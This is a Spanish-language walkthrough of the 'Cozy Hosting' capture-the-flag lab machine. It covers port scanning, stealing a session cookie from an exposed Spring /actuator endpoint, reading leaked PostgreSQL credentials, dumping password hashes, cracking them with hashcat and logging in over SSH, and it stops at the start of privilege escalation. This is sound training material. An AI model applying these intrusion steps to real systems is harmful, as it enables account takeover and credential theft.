Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:
sudo nano /etc/hosts
Ahora ya se muestra la web en el navegador:
A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.
Escaneo con Nmap
NMAP Puertos abiertos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-favicon: Unknown favicon MD5: 72A61F8058A9468D57C3017158769B1F
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Fuzzing
Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch
dirsearch -u http://cozyhosting.htb/
Nos devuelve:
Hay un directorio sospechoso: /actuator
Al acceder al directorio nos encontramos varios apartados:
Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:
Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.
En este panel no hay muchas cosas interesantes o que podamos hacer.
Exploit
Buscando en internet encontramos un exploit para esta máquina:
En el archivo application.properties encontramos el usuario y contraseña de la base de datos:
Usuario: postgres
Contraseña: Vg&nvzAQ7XxR
Nos conectamos a la base de datos desde la shell del server:
psql -U postgres -W -h localhost -d cozyhosting
Ya estamos dentro de la base de datos. Vamos a enumerar las bases de datos disponibles y su información en busca de usuarios y contraseñas:
\list <!-- listado de bases de datos -->\c cozyhosting <!-- Accedemos a la BBDD cozyhosting -->\d <!-- Muestra todas las relaciones -->SELECT * FROM users; <!-- Vemos todo el contenido de la tabla usuarios -->
Encontramos usuarios y contraseñas en formato hash:
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
Cracking
Vamos a crackear los hashes para obtener las contraseñas en plano:
sudo hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
La contraseña es: manchesterunited
Nos conectamos por SSH con el usuario josh (que encontramos antes) y esta contraseña:
ssh josh@10.10.11.230
manchesterunited
Obtenemos el user.txt:
3c1561e5ac2f02a012402d308e....
Escalada de privilegios
Vamos a ver los permisos que tenemos en la máquina:
sudo -l
User josh may run the following commands on localhost: (root) /usr/bin/ssh *
Consultamos GTFOBins para ver los binarios disponibles: